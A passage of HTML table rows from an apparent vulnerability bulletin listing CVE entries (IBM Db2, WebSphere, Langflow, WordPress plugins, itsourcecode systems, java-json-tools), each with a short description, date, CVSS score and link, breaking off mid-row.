&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Db2&lt;/td&gt;
&lt;td&gt;IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 could allow an authenticated user to send a specially crafted request to write arbitrary files on the system.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86087&quot; target=&quot;_blank&quot;&gt;CVE-2026-86087&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Enterprise Build of Quarkus&lt;/td&gt;
&lt;td&gt;When a Quarkus application has multiple endpoints secured by individual OIDC provider tenants, such as &quot;/oidc-provider1&quot; that is secured by the OIDC Provider 1 and &quot;/oidc-provider2&quot; that is secured by the OIDC Provider 2, and an optional token introspection cache is also enabled, then a valid token issued by the OIDC Provider 1 that can be used to access &quot;/oidc-provider1&quot; can also be used to access &quot;/oidc-provider2&quot; that is secured by another OIDC Provider 2.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19625&quot; target=&quot;_blank&quot;&gt;CVE-2026-19625&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Langflow OSS&lt;/td&gt;
&lt;td&gt;IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to read arbitrary files due to improper access control.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79725&quot; target=&quot;_blank&quot;&gt;CVE-2026-79725&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Langflow OSS&lt;/td&gt;
&lt;td&gt;IBM Langflow OSS 1.0.0 through 1.11.5 Langflow could allow an authenticated attacker to access sensitive files belonging to other users due to improper access control in the File/Read File component. When executing flows through the /api/v1/run/advanced/{flow_id} endpoint, the application allows component inputs to reference storage paths using arbitrary user or flow identifiers without verifying ownership. An attacker with low privileged authenticated access can supply a crafted file path pointing to another user&#039;s storage namespace, causing the backend to read and return the contents of files uploaded by other users. This vulnerability bypasses intended authorization checks enforced by the file management API and may result in unauthorized disclosure of sensitive user data.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-9225&quot; target=&quot;_blank&quot;&gt;CVE-2026-9225&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Langflow OSS&lt;/td&gt;
&lt;td&gt;IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to obtain sensitive information due to improper validation of user-controlled API endpoints.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79723&quot; target=&quot;_blank&quot;&gt;CVE-2026-79723&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--WebSphere Application Server&lt;/td&gt;
&lt;td&gt;IBM WebSphere Application Server 9.0, and 8.5 is vulnerable to a security bypass due to improper authentication controls. A local attacker could exploit this vulnerability to escalate privileges and gain unauthorized access to protected resources.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-9176&quot; target=&quot;_blank&quot;&gt;CVE-2026-9176&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--WebSphere Application Server&lt;/td&gt;
&lt;td&gt;IBM WebSphere Application Server 9.0, and 8.5 could allow an authenticated user with a low-privilege administrative role to modify security configuration. This could result in information disclosure or denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-9327&quot; target=&quot;_blank&quot;&gt;CVE-2026-9327&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--WebSphere Application Server&lt;/td&gt;
&lt;td&gt;IBM WebSphere Application Server 9.0, and 8.5 is vulnerable to a denial of service, caused by sending a specially-crafted HTTP request to an administrative endpoint. A remote attacker could exploit this vulnerability to cause the server to exhaust filesystem space.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-9336&quot; target=&quot;_blank&quot;&gt;CVE-2026-9336&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--WebSphere Application Server&lt;/td&gt;
&lt;td&gt;IBM WebSphere Application Server 9.0, and 8.5 is vulnerable to a denial of service, caused by sending a specially-crafted request. A remote attacker could exploit this vulnerability to trigger excessive resource consumption, potentially leading to reduced availability of the affected service.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-9338&quot; target=&quot;_blank&quot;&gt;CVE-2026-9338&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--WebSphere Application Server&lt;/td&gt;
&lt;td&gt;IBM WebSphere Application Server 9.0, and 8.5 is vulnerable to server-side request forgery (SSRF) that could allow a remote, unauthenticated attacker to cause the server to send outbound requests to arbitrary endpoints.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-9667&quot; target=&quot;_blank&quot;&gt;CVE-2026-9667&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;icegram--Email Subscribers &amp;amp; Newsletters Email Marketing, Post Notifications &amp;amp; Newsletter Plugin for WordPress&lt;/td&gt;
&lt;td&gt;The The Email Subscribers &amp;amp; Newsletters - Email Marketing, Post Notifications &amp;amp; Newsletter Plugin for WordPress plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 5.9.27. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12757&quot; target=&quot;_blank&quot;&gt;CVE-2026-12757&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IdeaSoft Software Industry and Trade Inc.--Smart E-Commerce&lt;/td&gt;
&lt;td&gt;Improper neutralization of input during web page generation (&#039;cross-site scripting&#039;) vulnerability in IdeaSoft Software Industry and Trade Inc. Smart E-Commerce allows Reflected XSS. This issue affects Smart E-Commerce: through 11092026.&amp;nbsp;NOTE: The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-7298&quot; target=&quot;_blank&quot;&gt;CVE-2026-7298&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ido Kobelkowsky--Simple Payment&lt;/td&gt;
&lt;td&gt;Contributor Cross Site Scripting (XSS) in Simple Payment &amp;lt;= 2.5.4 versions.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62111&quot; target=&quot;_blank&quot;&gt;CVE-2026-62111&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IDX Broker--IMPress for IDX Broker&lt;/td&gt;
&lt;td&gt;Unauthenticated Broken Authentication in IMPress for IDX Broker &amp;lt;= 3.3.0 versions.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81787&quot; target=&quot;_blank&quot;&gt;CVE-2026-81787&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IDX Broker--IMPress for IDX Broker&lt;/td&gt;
&lt;td&gt;Subscriber Broken Access Control in IMPress for IDX Broker &amp;lt;= 3.3.0 versions.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81788&quot; target=&quot;_blank&quot;&gt;CVE-2026-81788&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ILIAS-eLearning e.V.--ILIAS&lt;/td&gt;
&lt;td&gt;ILIAS versions before 9.23, 10.11, and 11.4 contain an authorization bypass vulnerability in ilObjGroupGUI where saveMapSettingsObject() and updateGroupTypeObject() perform state-changing operations without write permission checks. Authenticated users with only read access to a group can craft POST requests to modify group map settings and didactic template assignments, changing group modes and permissions for all members.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86416&quot; target=&quot;_blank&quot;&gt;CVE-2026-86416&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;instantsoft--icms2&lt;/td&gt;
&lt;td&gt;InstantCMS is a free and open source content management system. Versions prior to 2.18.2 have a Remote Code Execution (RCE) issue that allows remote authenticated attackers to execute any PHP code via the component installer. It is possible to upload a malicious component into the server, however, it won&#039;t be installed, but upload files will be executed. Normally all php files in upload folder are not executed, however, by uploading custom .htaccess it becomes possible. Version 2.18.2 contains a fix.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54611&quot; target=&quot;_blank&quot;&gt;CVE-2026-54611&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IOBit--Uninstaller&lt;/td&gt;
&lt;td&gt;A flaw has been found in IOBit Uninstaller 15.5.0.11. Affected by this issue is the function sub_11838 of the file IURegistryFilter.sys of the component IOCTL Dispatch Handler. This manipulation causes null pointer dereference. The attack requires local access. The exploit has been published and may be used. Identical IURegistryFilter.sys ships across multiple IObit families. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90485&quot; target=&quot;_blank&quot;&gt;CVE-2026-90485&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IP2Location--IP2Location Country Blocker&lt;/td&gt;
&lt;td&gt;IP2Location Country Blocker plugin for WordPress before 2.45.0 contains an access control bypass vulnerability that allows unauthenticated remote attackers to circumvent IP-based restrictions by forging the X-Real-IP HTTP header. Attackers can set the X-Real-IP header to an allowlisted IP address to bypass page, link, or site-wide access restrictions and access otherwise-blocked resources.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82530&quot; target=&quot;_blank&quot;&gt;CVE-2026-82530&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;iqonicdesign--Graphina Charts and Graphs For Elementor&lt;/td&gt;
&lt;td&gt;The Graphina - Charts and Graphs For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via &#039;iq_tree_tree_chart_template&#039; Widget Setting in all versions up to, and including, 3.1.11 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13709&quot; target=&quot;_blank&quot;&gt;CVE-2026-13709&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;itsourcecode--Information System Society Membership System&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in itsourcecode Information System Society Membership System 1.0. This issue affects some unknown processing of the file /society/check_student.php. The manipulation of the argument student_id leads to sql injection. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86267&quot; target=&quot;_blank&quot;&gt;CVE-2026-86267&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;itsourcecode--Sales and Inventory System&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in itsourcecode Sales and Inventory System 1.0. This issue affects some unknown processing of the file /pages/pro_transac.php?action=add. Such manipulation of the argument Name leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86236&quot; target=&quot;_blank&quot;&gt;CVE-2026-86236&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;itsourcecode--Sales and Inventory System&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in itsourcecode Sales and Inventory System 1.0. Affected by this vulnerability is an unknown functionality of the file /pages/sup_transac.php. Performing a manipulation of the argument companyname results in sql injection. It is possible to initiate the attack remotely. The exploit is now public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86245&quot; target=&quot;_blank&quot;&gt;CVE-2026-86245&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;itsourcecode--Sales and Inventory System&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in itsourcecode Sales and Inventory System 1.0. Affected by this vulnerability is an unknown functionality of the file /pages/us_transac.php. Such manipulation of the argument Username leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86265&quot; target=&quot;_blank&quot;&gt;CVE-2026-86265&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;itsourcecode--Sales and Inventory System&lt;/td&gt;
&lt;td&gt;A flaw has been found in itsourcecode Sales and Inventory System 1.0. The affected element is an unknown function of the file /pages/emp_edit1.php. This manipulation of the argument ID causes sql injection. The attack is possible to be carried out remotely. The exploit has been published and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86269&quot; target=&quot;_blank&quot;&gt;CVE-2026-86269&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;itsourcecode--Sales and Inventory System&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in itsourcecode Sales and Inventory System 1.0. The impacted element is an unknown function of the file /pages/settings_edit.php. Such manipulation of the argument ID leads to sql injection. The attack may be performed from remote. The exploit has been disclosed to the public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86270&quot; target=&quot;_blank&quot;&gt;CVE-2026-86270&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;itsourcecode--Sales and Inventory System&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in itsourcecode Sales and Inventory System 1.0. This impacts an unknown function of the file /pages/us_edit1.php. Such manipulation of the argument ID leads to sql injection. The attack can be launched remotely. The exploit has been disclosed publicly and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86291&quot; target=&quot;_blank&quot;&gt;CVE-2026-86291&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;itsourcecode--Sales and Inventory System&lt;/td&gt;
&lt;td&gt;A flaw has been found in itsourcecode Sales and Inventory System 1.0. Impacted is an unknown function of the file /pages/pro_searchfrm.php. This manipulation of the argument ID causes sql injection. The attack can be initiated remotely. The exploit has been published and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86309&quot; target=&quot;_blank&quot;&gt;CVE-2026-86309&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;itsourcecode--Sales and Inventory System&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in itsourcecode Sales and Inventory System 1.0. The affected element is an unknown function of the file /pages/cust_edit1.php. Such manipulation of the argument ID leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86310&quot; target=&quot;_blank&quot;&gt;CVE-2026-86310&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;itsourcecode--Sales and Inventory System&lt;/td&gt;
&lt;td&gt;A flaw has been found in itsourcecode Sales and Inventory System 1.0. The impacted element is the function mysqli_query of the file /pages/us_searchfrm.php. Executing a manipulation of the argument ID can lead to sql injection. It is possible to launch the attack remotely. The exploit has been published and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86517&quot; target=&quot;_blank&quot;&gt;CVE-2026-86517&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;itsourcecode--Sales and Inventory System&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in itsourcecode Sales and Inventory System 1.0. This affects an unknown part of the file /pages/us_edit.php. Such manipulation of the argument ID leads to sql injection. The attack may be launched remotely. The exploit is publicly available and might be used.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86675&quot; target=&quot;_blank&quot;&gt;CVE-2026-86675&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;itsourcecode--Sales and Inventory System&lt;/td&gt;
&lt;td&gt;A weakness has been identified in itsourcecode Sales and Inventory System 1.0. This affects an unknown function of the file /pages/cust_pos_trans.php. Executing a manipulation of the argument firstname can lead to sql injection. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90525&quot; target=&quot;_blank&quot;&gt;CVE-2026-90525&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;itsourcecode--Sales and Inventory System&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in itsourcecode Sales and Inventory System 1.0. This affects an unknown function of the file /pages/emp_transac.php?action=add. The manipulation of the argument firstname results in sql injection. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90574&quot; target=&quot;_blank&quot;&gt;CVE-2026-90574&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;itsourcecode--Sales and Inventory System&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in itsourcecode Sales and Inventory System 1.0. The affected element is an unknown function of the file /pages/sup_edit1.php. Such manipulation of the argument ID leads to sql injection. The attack may be performed from remote. The exploit has been disclosed publicly and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90597&quot; target=&quot;_blank&quot;&gt;CVE-2026-90597&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;itsourcecode--Sales and Inventory System&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in itsourcecode Sales and Inventory System 1.0. This impacts an unknown function of the file /pages/inv_edit1.php. The manipulation of the argument ID leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90600&quot; target=&quot;_blank&quot;&gt;CVE-2026-90600&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;java-json-tools--jackson-coreutils&lt;/td&gt;
&lt;td&gt;A vulnerability was found in java-json-tools jackson-coreutils 2.0. Affected by this issue is the function JsonLoader.fromURL of the file src/main/java/com/github/fge/jackson/JsonLoader.java of the component URL Validation. The manipulation results in server-side request forgery. It is possible to launch the attack remotely. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86321&quot; target=&quot;_blank&quot;&gt;CVE-2026-86321&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;java-json-tools--jackson-coreutils&lt;/td&gt;
&lt;td&gt;A vulnerability was found in java-json-tools jackson-coreutils 2.0. Affected by this vulnerability is the function BigDecimal.toPlainString of the file src/main/java/com/github/fge/jackson/JacksonUtils.java. Performing a manipulation results in resource consumption. The attack may be initiated remotely. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86511&quot; target=&quot;_blank&quot;&gt;CVE-2026-86511&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;java-json-tools--jackson-coreutils&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in java-json-tools jackson-coreutils 2.0. This vulnerability affects the function TreePointer.tokensFromInput of the file src/main/java/com/github/fge/jackson/jsonpointer/TreePointer.java of the component JSON Pointer parser. The manipulation results in allocation of resources. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86513&quot; target=&quot;_blank&quot;&gt;CVE-2026-86513&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;java-json-tools--json-patch&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in java-json-tools json-patch up to 1.13. This affects the function CopyOperation.apply/MoveOperation.apply of the file src/main/java/com/github/fge/jsonpatch/CopyOperation.java of the component Copy Move Operations. The manipulation leads to improper access controls. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86512&quot; target=&quot;_blank&quot;&gt;CVE-2026-86512&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;java-json-tools--json-patch&lt;/td&gt;
&lt;td&gt;A flaw has been found in java-json-tools json-patch up to 1.13. Affected is the function JsonMergePatch.fromJson of the file JsonMergePatchDeserializer.java. Executing a manipulation can lead to stack-based buffer overflow. The attack may be performed from remote. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86318&quot; target=&quot;_blank&quot;&gt;CVE-2026-86318&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;java-json-tools--json-patch&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in java-json-tools json-patch up to 1.13. Affected by this vulnerability is the function JsonPatch.apply of the file src/main/java/com/github/fge/jsonpatch/JsonPatch.java of the component Patch Operation Handler. The manipulation leads to resource consumption. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86319&quot; target=&quot;_blank&quot;&gt;CVE-2026-86319&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jaychouchannel--Tourism-Management-System&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in jaychouchannel Tourism-Management-System up to 84d8ec384f669df3985293dab293bb7b477efa64. This vulnerability affects unknown code of the file AuthorizationInterceptor.java of the component Authorization Interceptor. The manipulation leads to improper authorization. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The identifier of the patch is d984d172dceca907f8b447efbdb06dc233f7938d. Applying a patch is the recommended action to fix this issue.&lt;/td&gt;
